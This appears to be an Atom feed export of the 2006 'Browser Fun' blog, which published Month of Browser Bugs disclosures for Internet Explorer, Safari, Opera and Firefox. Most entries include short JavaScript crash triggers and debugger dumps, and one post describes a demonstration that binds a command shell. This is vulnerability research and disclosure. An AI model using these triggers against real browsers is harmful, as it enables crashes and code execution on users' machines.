<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-30557436</id><updated>2011-10-15T05:01:52.203-07:00</updated><title type='text'>Browser Fun</title><subtitle type='html'>Browser bugs, tricks, and hacks.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-30557436.post-115582402446410082</id><published>2006-08-17T07:07:00.000-07:00</published><updated>2007-02-09T15:01:16.143-08:00</updated><title type='text'>Putting the fun in browser fun</title><content type='html'>Matt Miller &lt;a href="http://metasploit.blogspot.com/2006/08/putting-fun-in-browser-fun.html"&gt;posted&lt;/a&gt; to the Metasploit Blog about a technique that allows arbitrary code execution in Internet Explorer using any fatal unhandled exception. Every  Internet Explorer denial of service flaw is exploitable if &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS06-051.mspx"&gt;MS06-051&lt;/a&gt; has not been installed. More information can be found in the &lt;a href="http://uninformed.org/index.cgi?v=4&amp;a=5"&gt;Uninformed Journal article&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115582402446410082?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115582402446410082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115582402446410082' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115582402446410082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115582402446410082'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/08/putting-fun-in-browser-fun.html' title='Putting the fun in browser fun'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115554446641439701</id><published>2006-08-14T01:24:00.000-07:00</published><updated>2007-01-14T09:38:55.063-08:00</updated><title type='text'>Orphan Objects bug was silently fixed</title><content type='html'>&lt;a href="http://browserfun.blogspot.com/2006/07/mobb-30-orphan-object-properties.html"&gt;MoBB #30&lt;/a&gt; was silently fixed last Tuesday by Microsoft's cumulative security patch for Internet Explorer (MS06-042).&lt;br /&gt;&lt;br /&gt;Read more at my blog: "&lt;a href="http://aviv.raffon.net/2006/08/14/MS06042OneSilentFixOneNoFix.aspx"&gt;MS06-042: One Silent Fix, One No Fix&lt;/a&gt;".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115554446641439701?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115554446641439701/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115554446641439701' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115554446641439701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115554446641439701'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/08/orphan-objects-bug-was-silently-fixed.html' title='Orphan Objects bug was silently fixed'/><author><name>avivra</name><uri>http://www.blogger.com/profile/07588733978066155038</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115506200864646490</id><published>2006-08-08T11:30:00.000-07:00</published><updated>2006-12-24T04:35:09.303-08:00</updated><title type='text'>MS06-044 - Internet Explorer 5.x</title><content type='html'>Microsoft released &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS06-044.mspx"&gt;MS06-044&lt;/a&gt; to address a local zone privilege escalation vulnerability I reported in Internet Explorer 5 on Windows 2000. According to Microsoft, over five million people are still using the Windows Update service with Internet Explorer 5. This vulnerability exploits a XSS flaw in the RT_HTML resource of a DLL included with Windows 2000.  The demonstration below will use this XSS flaw to execute calc.exe on vulnerable systems.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/ms06-044.html"&gt;Demonstration&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115506200864646490?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115506200864646490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115506200864646490' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115506200864646490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115506200864646490'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/08/ms06-044-internet-explorer-5x.html' title='MS06-044 - Internet Explorer 5.x'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115441081739273219</id><published>2006-08-01T00:34:00.000-07:00</published><updated>2007-01-08T18:06:37.203-08:00</updated><title type='text'>AxMan ActiveX Fuzzer</title><content type='html'>As promised, I have released my ActiveX fuzzing tool, aptly named &lt;a href="http://metasploit.com/users/hdm/tools/axman/"&gt;AxMan&lt;/a&gt;. This tool was used to discover and debug almost every single ActiveX flaw published during the Month of Browser Bugs. In addition to the MoBB issues, this tool discovered over 100 unique flaws on a Windows XP SP2 system with common third-party packages installed. I am releasing this tool without my blacklist.js file of discovered vulnerabilities; this should give the vendors some breathing room while they figure out how to address these problems. An &lt;a href="http://metasploit.com/users/hdm/tools/axman/demo/"&gt;online demonstration&lt;/a&gt; of AxMan is available, but the interface is not designed to work across a slow network and a locally installed version will run much faster. Enjoy and happy bug hunting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115441081739273219?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115441081739273219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115441081739273219' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115441081739273219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115441081739273219'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/08/axman-activex-fuzzer.html' title='AxMan ActiveX Fuzzer'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115441038823155712</id><published>2006-07-31T22:26:00.000-07:00</published><updated>2006-08-09T08:28:38.383-07:00</updated><title type='text'>Concluding the Month of Browser Bugs</title><content type='html'>The Month of Browser bugs is finished! Jericho was kind enough to write up a review of the MoBB project in the &lt;a href="http://osvdb.org/blog/?p=127"&gt;OSVDB Blog&lt;/a&gt;. Although the MoBB project is complete, this blog will continue to be used to publish new and interesting browser hacks. &lt;a href="http://aviv.raffon.net/"&gt;Aviv Raff&lt;/a&gt; and Pusscat have offered to help out in the coming months by moderating comments and publishing new browser-related security findings. Thanks again to everyone who submitted comments and otherwise participated in the project.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115441038823155712?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115441038823155712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115441038823155712' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115441038823155712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115441038823155712'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/concluding-month-of-browser-bugs.html' title='Concluding the Month of Browser Bugs'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115433260511404779</id><published>2006-07-31T00:50:00.000-07:00</published><updated>2007-01-02T04:47:47.776-08:00</updated><title type='text'>MoBB #31: Safari KHTMLParser::popOneBlock</title><content type='html'>The following bug was tested on the latest version of Safari on a fully-patched Mac OS X 10.4 (PPC) system. Safari will dereference and call a pointer from the heap if a script element, inside a div element, redefines the document body. Code execution is possible, but more time is required to develop a reliable exploit. This bug was discovered by Jose Avila III and Pusscat. Strangely enough, this bug does not affect KDE's Konqueror (tested 3.5.3).&lt;br /&gt;&lt;br /&gt;Please see the demo source code for an example.&lt;br /&gt;&lt;br /&gt;Warning: The following link may cause your browser to crash.&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_031.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.&lt;br /&gt;(gdb) x/i $pc&lt;br /&gt;0x4aeec58:      .long 0x690074&lt;br /&gt;&lt;br /&gt;#0  0x04aeec58 in ?? ()&lt;br /&gt;#1  0x95c6f884 in KHTMLParser::popOneBlock ()&lt;br /&gt;#2  0x95c43998 in KHTMLParser::freeBlock ()&lt;br /&gt;#3  0x95cdff3c in KHTMLParser::finished ()&lt;br /&gt;#4  0x95cdfe7c in khtml::HTMLTokenizer::end ()&lt;br /&gt;#5  0x95c7ec8c in khtml::HTMLTokenizer::finish ()&lt;br /&gt;#6  0x95d90358 in KHTMLPart::endIfNotLoading ()&lt;br /&gt;&lt;br /&gt;0x95c6f8c4 &lt;_ZN11KHTMLParser11popOneBlockEb+132&gt;:       lwz     r2,0(r3)&lt;br /&gt;0x95c6f8c8 &lt;_ZN11KHTMLParser11popOneBlockEb+136&gt;:       &lt;span style="font-weight:bold;"&gt;lwz     r12,268(r2)&lt;/span&gt;&lt;br /&gt;0x95c6f8cc &lt;_ZN11KHTMLParser11popOneBlockEb+140&gt;:       mtctr   r12&lt;br /&gt;0x95c6f8d0 &lt;_ZN11KHTMLParser11popOneBlockEb+144&gt;:       bctrl&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27534"&gt;Apple Safari KHTMLParser::popOneBlock Code Execution&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115433260511404779?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115433260511404779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115433260511404779' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115433260511404779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115433260511404779'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-31-safari-khtmlparserpoponeblock.html' title='MoBB #31: Safari KHTMLParser::popOneBlock'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115424063391275840</id><published>2006-07-29T23:23:00.000-07:00</published><updated>2007-01-03T22:14:54.466-08:00</updated><title type='text'>MoBB #30: Orphan Object Properties</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug was discovered by &lt;a href="http://aviv.raffon.net/"&gt;Aviv Raff&lt;/a&gt; while working on a new browser fuzzing tool. It is possible to trigger a NULL dereference by accessing the property of an object that is inside a deleted frame.&lt;br /&gt;&lt;br /&gt;Please see the demo source code for an example.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_030.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=01ba7180 ecx=00000000&lt;br /&gt;edx=7dc95b90 esi=00000000 edi=00000000&lt;br /&gt;eip=7dc9d8ba esp=0013dc98 ebp=0013dccc&lt;br /&gt;mshtml!CMarkup::EnsureTopElems+0xc:&lt;br /&gt;7dc9d8ba 8b7744          mov     esi,dword ptr [edi+44h] ds:0023:00000044=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27533"&gt;Microsoft IE Orphan Object Property Access NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115424063391275840?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115424063391275840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115424063391275840' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115424063391275840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115424063391275840'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-30-orphan-object-properties.html' title='MoBB #30: Orphan Object Properties'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115416038577897582</id><published>2006-07-29T00:18:00.000-07:00</published><updated>2006-09-29T11:24:24.386-07:00</updated><title type='text'>MoBB #29: ADODB.Recordset NextRecordset</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Calling the NextRecordset method repeatedly with a long string can result in an invalid memory access inside the SysFreeString function. This bug is similar to &lt;a href="http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html"&gt;MoBB #8&lt;/a&gt; and &lt;a href="http://browserfun.blogspot.com/2006/07/mobb-21-cenroll-stringtobinary.html"&gt;MoBB #21&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('ADODB.Recordset');&lt;br /&gt;var b = 'XXXX';&lt;br /&gt;while (b.length &lt;= 1024*512) b+=b;&lt;br /&gt;for (var i = 0; i &lt; 32768; i++) try { a.NextRecordset(b); } catch(e) {}&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_029.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00181358 ebx=0013b1c4 ecx=00000007&lt;br /&gt;edx=0000400c esi=02d30020 edi=00000008&lt;br /&gt;eip=77124874 esp=0013ae68 ebp=0013ae6c&lt;br /&gt;OLEAUT32!SysFreeString+0x45:&lt;br /&gt;77124874 8b0e             mov     ecx,[esi]         ds:0023:02d30020=???&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27532"&gt;Microsoft IE ADODB.Recordset SysFreeString Invalid Length&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115416038577897582?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115416038577897582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115416038577897582' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115416038577897582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115416038577897582'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-29-adodbrecordset-nextrecordset.html' title='MoBB #29: ADODB.Recordset NextRecordset'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115406941764941274</id><published>2006-07-27T23:40:00.000-07:00</published><updated>2007-02-06T02:08:17.070-08:00</updated><title type='text'>MoBB #28: Mozilla Navigator Object</title><content type='html'>The following bug (&lt;a href="http://www.mozilla.org/security/announce/2006/mfsa2006-45.html"&gt;mfsa2006-45&lt;/a&gt;) was tested on Firefox 1.5.0.4 running on Windows 2000 SP4, Windows XP SP2, and a recently updated Gentoo Linux system. This bug was reported by TippingPoint and fixed in the latest 1.5.0.5 release of Mozilla Firefox. This is different from the bug I reported (&lt;a href="http://www.mozilla.org/security/announce/2006/mfsa2006-48.html"&gt;mfsa2006-48&lt;/a&gt;) and is trivial to turn into a working exploit. The demonstration link below will attempt to launch "calc.exe" on Windows systems, execute "touch /tmp/METASPLOIT" on Linux systems, and bind a command shell to port 4444 for Mac OS X Intel and PowerPC systems (thanks Todd and nemo!).&lt;br /&gt;&lt;br /&gt;window.navigator = (0x01020304 / 2);&lt;br /&gt;java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"),  0);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_028.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This bug has been added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27559"&gt;Mozilla Multiple Product Window Navigator Object Arbitrary Code Execution&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115406941764941274?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115406941764941274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115406941764941274' title='34 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115406941764941274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115406941764941274'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html' title='MoBB #28: Mozilla Navigator Object'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>34</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115398403949159518</id><published>2006-07-27T00:01:00.000-07:00</published><updated>2006-07-29T05:49:23.606-07:00</updated><title type='text'>MoBB #27: NDFXArtEffects RGBExtraColor</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. stack overflow can occur by setting one of the RGBExtraColor, RGBForeColor, and RGBBackColor properties to a long string value. Since the entire string is placed into a stack buffer, you are able to select exactly what instruction to fault on based on the length of the string. Does anyone know of a way to exploit this for something besides a crash?&lt;br /&gt;&lt;br /&gt;var b = 'XXXX';&lt;br /&gt;while(b.length &lt;=1024*1024) b+=b;&lt;br /&gt;var a = new ActiveXObject('DXImageTransform.Microsoft.NDFXArtEffects.1');&lt;br /&gt;var i = 1016320;&lt;br /&gt;a.RGBExtraColor = b.substring(0,i);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_027.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=4db88a05 ebx=000f8201 ecx=7c809f8a&lt;br /&gt;edx=0013b274 esi=02f50024 edi=00000000&lt;br /&gt;eip=4db88a11 esp=00043000 ebp=0013b254&lt;br /&gt;wmm2fxb!DXColorFromBSTR+0xc8:&lt;br /&gt;4db88a11 57               push    edi&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27530"&gt;Microsoft IE NDFXArtEffects Multiple Property Stack Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115398403949159518?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115398403949159518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115398403949159518' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115398403949159518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115398403949159518'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-27-ndfxarteffects-rgbextracolor.html' title='MoBB #27: NDFXArtEffects RGBExtraColor'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115389630268359047</id><published>2006-07-26T01:38:00.000-07:00</published><updated>2006-08-15T20:06:14.496-07:00</updated><title type='text'>MoBB #26: Opera CSS Background</title><content type='html'>The following bug was tested on the latest version of Opera 9 on a fully-patched Windows XP SP2 system. A memory corruption issue can be triggered by setting the background property of any DHTML element to a long HTTPS URL.&lt;br /&gt;&lt;br /&gt;var a = document.createElement('a');&lt;br /&gt;var b = 'XXXX';&lt;br /&gt;while (b.length &lt;= 1024*1024) b+=b;&lt;br /&gt;a.style.background = 'url(https://' + b + ')';&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_026.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=0c4f0020 ebx=00000000 ecx=0c4f0020&lt;br /&gt;edx=0a4b0030 esi=00953ff8 edi=00200008&lt;br /&gt;eip=67befb98 esp=0012e38c ebp=0012e404&lt;br /&gt;Opera_679e0000+0x20fb98:&lt;br /&gt;67befb98 668b32           mov     si,[edx]              ds:0023:0a4b0030=0000&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27374"&gt;Opera CSS Background Property HTTPS Memory Corruption&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115389630268359047?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115389630268359047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115389630268359047' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115389630268359047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115389630268359047'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-26-opera-css-background.html' title='MoBB #26: Opera CSS Background'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115380014554269817</id><published>2006-07-25T01:00:00.000-07:00</published><updated>2006-07-29T23:23:04.340-07:00</updated><title type='text'>MoBB #25: Native Function Iterator</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. A NULL reference can be triggered by using javascript to iterate over a native function. &lt;br /&gt;&lt;br /&gt;for (var i in window.alert) { var a = 1; }&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_025.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=ffffffff ecx=0013b3f0&lt;br /&gt;edx=0013b3f0 esi=00000000 edi=0013b488&lt;br /&gt;eip=7dceef12 esp=0013b3d0 ebp=0013b3d4&lt;br /&gt;mshtml!CPtrBagVTableAggregate::CIterator::Start+0x1e:&lt;br /&gt;7dceef12 ff36            push    dword ptr [esi]      ds:0023:00000000=?????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27373"&gt;Microsoft IE Native Function Iteration NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115380014554269817?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115380014554269817/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115380014554269817' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115380014554269817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115380014554269817'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-25-native-function-iterator.html' title='MoBB #25: Native Function Iterator'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115372432110216114</id><published>2006-07-23T23:54:00.000-07:00</published><updated>2006-08-01T05:25:32.503-07:00</updated><title type='text'>MoBB #24: Forms.ListBox.1 ListWidth</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system with the latest version of Office 2003 installed. Setting the ListWidth property of either the Forms.ListBox.1 or Forms.ComboBox.1 objects to 0x7fffffff will result in an integer overflow exception, while setting it to 0x7ffffffe will trigger a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('Forms.ListBox.1'); &lt;br /&gt;a.ListWidth = 0x7ffffffe;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_024.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=0013b0d8 ecx=00000001&lt;br /&gt;edx=00000052 esi=0013b084 edi=600b115e&lt;br /&gt;eip=60009115 esp=0013b044 ebp=0013b044&lt;br /&gt;FM20!DllGetClassObject+0x6bd5:&lt;br /&gt;60009115 0fb710           movzx   edx,word ptr [eax]    ds:0023:00000000=????&lt;br 